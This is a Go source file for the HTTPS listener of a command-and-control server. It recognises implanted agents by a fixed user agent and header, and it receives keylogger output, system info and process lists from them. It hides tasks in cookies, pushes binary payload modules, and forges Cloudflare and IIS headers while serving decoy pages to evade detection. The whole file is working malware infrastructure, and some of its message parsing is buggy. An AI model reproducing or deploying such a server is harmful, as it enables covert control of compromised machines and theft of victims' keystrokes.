package main

import (
	"fmt"
	"io"
	"log"
	"net/http"
	"net/url"
	"strings"
	"time"
)

// Configuration variables for C2 communication
var (
	// Certificate paths
	certFile = "certificates/server.crt"
	keyFile  = "certificates/server.key"

	// Agent identification
	c2AgentUserAgent       = "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36"
	c2IdentificationHeader = "Accept-Language"
	c2IdentificationValue  = "en-US,en;q=0.9"

	// Domain-specific configurations
	domainProfiles = map[string]DomainProfile{
		"192.168.1.4": {
			CommandCookie:          "example-token",
			CommandHeader:          "example-header",
			CommandHeaderValue:     "example-value",
			MessageCookieName:      "example-cookie",
			BodyMessageHeader:      "example-body-cookie",
			BodyMessageHeaderValue: "example-body-header",
			Headers: map[string]string{
				"alt-svc":                           "h3=\":443\"; ma=86400",
				"cache-control":                     "private, no-cache, no-store, max-age=0, must-revalidate",
				"cf-cache-status":                   "DYNAMIC",
				"cf-ray":                            "936f6a7adc8c027d-WAW",
				"content-encoding":                  "br",
				"cross-origin-opener-policy":        "same-origin-allow-popups",
				"cross-origin-resource-policy":      "same-origin",
				"origin-agent-cluster":              "?1",
				"priority":                          "u=0,i",
				"referrer-policy":                   "no-referrer-when-downgrade",
				"server":                            "cloudflare",
				"strict-transport-security":         "max-age=15552000; includeSubDomains; preload",
				"vary":                              "Accept-Encoding",
				"x-content-type-options":            "nosniff",
				"x-dns-prefetch-control":            "on",
				"x-download-options":                "noopen",
				"x-frame-options":                   "SAMEORIGIN",
				"x-permitted-cross-domain-policies": "none",
			},
		},
		"example.com": {
			CommandCookie:      "JSESSIONID",
			CommandHeader:      "X-Powered-By",
			CommandHeaderValue: "ASP.NET",
			Headers: map[string]string{
				"cache-control":             "max-age=3600",
				"content-encoding":          "gzip",
				"pragma":                    "no-cache",
				"server":                    "Microsoft-IIS/10.0",
				"strict-transport-security": "max-age=31536000",
				"x-aspnet-version":          "4.0.30319",
				"x-powered-by":              "ASP.NET",
				"x-content-type-options":    "nosniff",
				"x-frame-options":           "DENY",
				"x-xss-protection":          "1; mode=block",
			},
		},
	}

	// Default profile for unknown domains
	defaultProfile = DomainProfile{
		CommandCookie:          "x-auth-csrf-token",
		CommandHeader:          "Server-Timing",
		CommandHeaderValue:     "cfExtPri",
		MessageCookieName:      "sessionID",
		BodyMessageHeader:      "X-Requested-With",
		BodyMessageHeaderValue: "XMLHttpRequest",
		Headers: map[string]string{
			"cache-control":             "max-age=3600",
			"content-encoding":          "gzip",
			"pragma":                    "no-cache",
			"server":                    "Microsoft-IIS/10.0",
			"strict-transport-security": "max-age=31536000",
			"set-cookie":                "test1=some_cookie1; test2=some_cookie2",
			"x-aspnet-version":          "4.0.30319",
			"x-powered-by":              "ASP.NET",
			"x-content-type-options":    "nosniff",
			"x-frame-options":           "DENY",
			"x-xss-protection":          "1; mode=block",
		},
	}
)

// DomainProfile stores configuration for each domain
type DomainProfile struct {
	CommandCookie          string // Cokie which server embeds message to
	CommandHeader          string // Header name which server sets to indicate a new command for agent
	CommandHeaderValue     string // Header value which server sets to indicate a new command for agent
	MessageCookieName      string // Cookie name where agent embeds messages in GET
	BodyMessageHeader      string // Header which agent sets when wants to send a big message via POST
	BodyMessageHeaderValue string // Header value which agent sets when wants to send a big message via POST
	Headers                map[string]string
}

// These was created in order to track response state
// If body was written - wroteBody becomes true and thus normal content is not served
// But this requres all "w" (http.ResponseWriter) passing changed to "ri"
// Not sure if this good way to go
type responseInterceptor struct {
	http.ResponseWriter
	wroteBody bool
}

func (ri *responseInterceptor) Write(b []byte) (int, error) {
	ri.wroteBody = true
	return ri.ResponseWriter.Write(b)
}

func (ri *responseInterceptor) HeaderWritten() bool {
	return ri.wroteBody
}

// Main functions to start HTTP listener
func StartHttpsListener(port string) *http.Server {
	// Set up a handler that will intercept all requests
	http.HandleFunc("/", handleRootPath)

	// Add dedicated file upload handler
	http.HandleFunc("/upload", handleFileUpload)

	httpServer := &http.Server{
		Addr: port,
	}

	// Start HTTPS server
	go func() {
		// log.Printf("HTTPS server started on: %s\n", port)
		if err := httpServer.ListenAndServeTLS(certFile, keyFile); err != nil && err != http.ErrServerClosed {
			log.Fatalf("ListenAndServeTLS error: %v", err)
		}
	}()

	return httpServer
}

func handleRootPath(w http.ResponseWriter, r *http.Request) {
	// Log every request to file and console
	logRequest(r)

	// Intercept reponse writer to track if it's body was written
	ri := &responseInterceptor{ResponseWriter: w}

	// Get domain from request
	domain := getDomain(r)
	log.Printf("Domain requested: %s", domain)

	// Get profile for this domain
	profile := getProfileForDomain(domain)

	// Check if this is an agent communication
	isAgentCommunication := IdentifyAgent(r)

	if isAgentCommunication {
		log.Printf("{+} Agent communication identified from %s", r.RemoteAddr)
		// Handle based on method
		switch r.Method {
		case "GET":
			handleGET(w, r, profile)
		case "POST":
			handlePOST(w, r, profile)
		default:
			log.Printf("Unsupported http method: %s from agent %s\n", r.Method, r.RemoteAddr)
		}
	}

	// Add domain-specific headers to maintain appearance of normal web traffic
	addDomainHeaders(w, profile)

	// Serve normal content regardless to maintain cover
	// Create a file server for serving regular content
	fileServer := http.FileServer(http.Dir("public"))
	// But serve only if reponse body was not writen
	if ri.HeaderWritten() {
		log.Printf("Response body already written, skipping content serving")
	} else {
		log.Printf("Body not writen, Serving content")
		fileServer.ServeHTTP(w, r)
	}
}

// Handle GET request from agent
func handleGET(w http.ResponseWriter, r *http.Request, profile DomainProfile) {
	// Log the identified agent communication
	// log.Printf("GET received from agent at %s\n", r.RemoteAddr)

	// Read cookies
	cookies := r.Cookies()
	found := false
	message := ""

	// Try to find cookie with embeded message
	for _, cookie := range cookies {
		if cookie.Name == profile.MessageCookieName {
			message = string(cookie.Value)
			log.Printf("[+] Message cookie found in request from %s\n", r.RemoteAddr)
			log.Printf("Message : %s\n", message)
			found = true
			break
		}
	}

	// Skip request if no target cookie found
	if !found {
		log.Printf("No %s cookie found in request from %s\n", profile.MessageCookieName, r.RemoteAddr)
		return
	}

	ParseAgentMessageHTTP(w, r, message, profile)
}

// Handle agent's POST request
func handlePOST(w http.ResponseWriter, r *http.Request, profile DomainProfile) {
	// log.Printf("POST received from agent at %s\n", r.RemoteAddr)
	message := ""
	headerValue := r.Header.Get(profile.BodyMessageHeader)
	if headerValue == profile.BodyMessageHeaderValue {
		log.Printf("[+] Body message header found, checking request body...")

		// Read the request body
		body, err := io.ReadAll(r.Body)
		if err != nil {
			log.Printf("Error reading request body: %v\n", err)
			http.Error(w, "Bad Request", http.StatusBadRequest)
			return
		}
		defer r.Body.Close()

		// Convert UTF-16 bytes to UTF-8 string and remove null terminator
		message, err = decodeUTF16(body)
		if err != nil {
			log.Printf("Error decoding UTF-16 body: %v\n", err)
			http.Error(w, "Bad Request", http.StatusBadRequest)
			return
		}

		// Print the request body
		if len(message) > 0 {
			log.Printf("[+] Request body content: %s", message)
		} else {
			log.Printf("Request body is empty")
		}
	} else {
		log.Printf("Body message header not found")
		return
	}

	ParseAgentMessageHTTP(w, r, message, profile)
}

// Parses agent's message
func ParseAgentMessageHTTP(w http.ResponseWriter, r *http.Request, message string, profile DomainProfile) {
	agentIP := r.RemoteAddr

	// Print message only if it is not too big
	if len(message) <= 256 {
		log.Printf("Message from agent at %s (%d bytes): \"%s\"", agentIP, len(message), message)
	} else {
		// Print the first 256 characters and indicate truncation
		truncated := message[:256] + "..."
		log.Printf("Message from agent at %s (%d bytes) (truncated): \n%s", agentIP, len(message), truncated)
	}

	messageParts := strings.SplitN(message, "~", 7)

	if len(messageParts) < 2 {
		log.Printf("Invalid message from %s: '%s'\n", r.RemoteAddr, message)
		return
	}
	agentID := messageParts[0]
	messageType := messageParts[1]

	if _, exists := GetAgent(agentID); !exists {
		logMessage := fmt.Sprintf("New agent checked-in: %s", agentID)
		log.Print(logMessage)
		SendMessageToAllOperators(logMessage)
	}

	// Different messages may require difference handling
	switch messageType {
	case "HEARTBEAT":
		if len(messageParts) == 2 {
			HandleHeartbeatHTTP(agentID, w, r, profile)
		} else {
			log.Printf("Invalid heartbeat from %s", agentIP)
		}
	case "SYSINFO":
		if len(messageParts) == 4 {
			HandleSystemInfo(agentID, agentIP, messageParts[3])
		} else {
			log.Printf("Invalid sysinfo message format")
		}
	case "KEYLOGGER":
		if len(messageParts) == 4 {
			HandleKeyloggerMessage(agentID, messageParts[2])
		} else {
			log.Printf("Invalid key message format")
		}
	case "PROCESS":
		taskID := messageParts[2]
		log.Printf("Task ID: %s", taskID)
		if len(messageParts) == 3 {
			taskID := messageParts[2]
			FormatProcessListOutput(agentID, messageParts[3], taskID)
		} else {
			log.Printf("Invalid process info message format")
		}
	case "TASKRESULT":
		taskID := messageParts[2]
		log.Printf("Task ID: %s", taskID)
		if len(messageParts) >= 3 {
			HandleTaskResult(agentID, messageParts[3], taskID)
		} else {
			log.Printf("Invalid task result message format ")
		}
	default:
		log.Printf("Unknown message type from agent %s: %s\n", agentID, messageType)
	}
}

func HandleHeartbeatHTTP(agentID string, w http.ResponseWriter, r *http.Request, profile DomainProfile) {
	// Update or create the agent entry directly
	newInfo := &AgentInfo{
		RemoteIP:       r.RemoteAddr,
		LastConnection: time.Now(),
	}

	UpdateAgent(agentID, newInfo)

	// Check if there's a task for the agent
	task := taskHandler.GetNextTask(agentID)
	if task != nil {
		log.Printf("There is a task for agent %s", agentID)
		SendTaskHTTP(agentID, task, w, r, profile)
	} else {
		log.Printf("No task for agent %s", agentID)
		SendAckHTTP(agentID, w, r, profile)
	}
}

// Send task or module to http agent
func SendTaskHTTP(agentID string, task *Task, w http.ResponseWriter, r *http.Request, profile DomainProfile) {
	var taskMessage string

	// If there is a payload - we are sending a module, this required special handling
	// For http agents, we embed task message into cookie, while payload is sent in body
	if task.Payload != nil {
		log.Printf("Task has a payload, preparing task message")

		// Set command header based on domain profile
		w.Header().Set(profile.CommandHeader, profile.CommandHeaderValue)

		// Embed task in domain-specific cookie
		taskMessage = fmt.Sprintf("TASK~%s~%s~%s~%d", task.TaskID, task.Type, task.Args, len(task.Payload))

		log.Printf("Embeding task \"%s\" into cookie \"%s\"\n", taskMessage, profile.CommandCookie)
		http.SetCookie(w, &http.Cookie{
			Name:    profile.CommandCookie,
			Value:   taskMessage,
			Path:    "/",
			Expires: time.Now().Add(24 * time.Hour),
		})

		// Send binary payload in body
		log.Printf("Writing payload to response body")

		w.Header().Set("Content-Type", "application/octet-stream")
		w.Write(task.Payload) // Now this will actually be sent
		log.Printf("Sent task to agent %s: %s %s", agentID, task.Type, task.Args)

	} else if task.Type == "upload" {

		// Set command header based on domain profile
		// w.Header().Set(profile.CommandHeader, profile.CommandHeaderValue)

		operatorConn, exists := taskHandler.GetOperatorConnByTaskID(agentID, task.TaskID)
		if exists {
			operatorConn.Write([]byte("HTTP Agents currently do not support file uploading"))
		}
		SendAckHTTP(agentID, w, r, profile) // Just send ACK to agent

	} else {
		log.Printf("Preparing usual task for agent %s", agentID)

		// Set command header based on domain profile
		w.Header().Set(profile.CommandHeader, profile.CommandHeaderValue)

		// Embed task in domain-specific cookie
		taskMessage = fmt.Sprintf("TASK~%s~%s~%s", task.TaskID, task.Type, task.Args)
		log.Printf("Embeding task \"%s\" into cookie \"%s\"\n", taskMessage, profile.CommandCookie)
		http.SetCookie(w, &http.Cookie{
			Name:    profile.CommandCookie,
			Value:   taskMessage,
			Path:    "/",
			Expires: time.Now().Add(24 * time.Hour),
		})
		log.Printf("Task dispatched to agent %s at %s\n", agentID, r.RemoteAddr)
	}
}

// Send ACK message to http agent
func SendAckHTTP(agentID string, w http.ResponseWriter, r *http.Request, profile DomainProfile) {

	// Set command header based on domain profile
	w.Header().Set(profile.CommandHeader, profile.CommandHeaderValue)

	// If no task, send ACK
	log.Printf("Sending ACK to agent\n")
	http.SetCookie(w, &http.Cookie{
		Name:    profile.CommandCookie,
		Value:   "ACK",
		Path:    "/",
		Expires: time.Now().Add(24 * time.Hour),
	})

	log.Printf("Acknowledged agent %s", agentID)
}

// Add domain-specific headers to maintain appearance of regular web traffic
func addDomainHeaders(w http.ResponseWriter, profile DomainProfile) {
	// Create a copy of headers to modify
	headers := make(map[string]string)
	for k, v := range profile.Headers {
		headers[k] = v
	}

	// Update dynamic headers
	currentTime := time.Now().UTC()

	// Common headers that need dynamic values
	headers["date"] = currentTime.Format(time.RFC1123)

	// Domain-specific dynamic headers
	if _, exists := headers["expires"]; exists {
		expireTime := currentTime.Add(1 * time.Hour)
		headers["expires"] = expireTime.Format(time.RFC1123)
	}

	// Handle set-cookie header
	if cookieHeader, exists := headers["set-cookie"]; exists {
		// Split multiple cookies (e.g., "test1=some_cookie_stuff; test2=some_cookie")
		cookies := strings.Split(cookieHeader, ";")
		for _, cookie := range cookies {
			cookie = strings.TrimSpace(cookie)
			if cookie == "" {
				continue
			}
			// Split cookie into name and value (e.g., "test1=some_cookie_stuff")
			parts := strings.SplitN(cookie, "=", 2)
			if len(parts) != 2 {
				log.Printf("Invalid cookie format in set-cookie: %s\n", cookie)
				continue
			}
			name := strings.TrimSpace(parts[0])
			value := strings.TrimSpace(parts[1])
			http.SetCookie(w, &http.Cookie{
				Name:    name,
				Value:   value,
				Path:    "/",
				Expires: time.Now().Add(24 * time.Hour),
			})
		}
	}

	// Set all headers except set-cookie (already handled)
	for name, value := range headers {
		if name != "set-cookie" && value != "" {
			w.Header().Set(name, value)
		}
	}
}

// URL decode function for Go server
func urlDecode(encoded string) (string, error) {
	decoded, err := url.QueryUnescape(encoded)
	if err != nil {
		return "", err
	}
	return decoded, nil
}

// Extract domain from request
func getDomain(r *http.Request) string {
	host := r.Host
	// Strip port if present
	if strings.Contains(host, ":") {
		host = strings.Split(host, ":")[0]
	}
	return host
}

// Get profile for specific domain
func getProfileForDomain(domain string) DomainProfile {
	profile, exists := domainProfiles[domain]
	if !exists {
		return defaultProfile
	}
	return profile
}

// Log all incoming request details to both file and console
func logRequest(r *http.Request) {
	// Format basic request info
	logEntry := fmt.Sprintf("Request: %s %s from IP: %s\n", r.Method, r.URL.Path, r.RemoteAddr)

	// Log User-Agent
	logEntry += fmt.Sprintf("User-Agent: %s\n", r.UserAgent())

	// Log all headers
	logEntry += "Headers:\n"
	for name, values := range r.Header {
		logEntry += fmt.Sprintf("  %s: %s\n", name, strings.Join(values, ", "))
	}

	// Log cookies
	if len(r.Cookies()) > 0 {
		logEntry += "Cookies:\n"
		for _, cookie := range r.Cookies() {
			logEntry += fmt.Sprintf("  %s: %s\n", cookie.Name, cookie.Value)
		}
	}

	logEntry += "-----------------------\n"

	// Also log a simplified version to console
	log.Printf("%s %s from %s (UA: %s)\n", r.Method, r.URL.Path, r.RemoteAddr, shortenUserAgent(r.UserAgent()))
	log.Print(logEntry)
}

// Helper function to decode UTF-16 bytes to UTF-8 string
func decodeUTF16(b []byte) (string, error) {
	if len(b)%2 != 0 {
		return "", fmt.Errorf("invalid UTF-16 byte length: %d", len(b))
	}
	// Convert UTF-16 bytes to runes
	runes := make([]rune, len(b)/2)
	for i := 0; i < len(b)/2; i++ {
		runes[i] = rune(b[2*i]) | rune(b[2*i+1])<<8
	}
	// Trim null terminator and convert to string
	return strings.TrimRight(string(runes), "\x00"), nil
}

// Shorten user agent for console display
func shortenUserAgent(ua string) string {
	if len(ua) > 30 {
		return ua[:27] + "..."
	}
	return ua
}

// Identify if the request is from our agent
func IdentifyAgent(r *http.Request) bool {
	// Check for our specific user agent
	if !strings.Contains(r.UserAgent(), c2AgentUserAgent) {
		return false
	}

	// Check for our identification header and value
	headerValue := r.Header.Get(c2IdentificationHeader)
	return headerValue == c2IdentificationValue
}
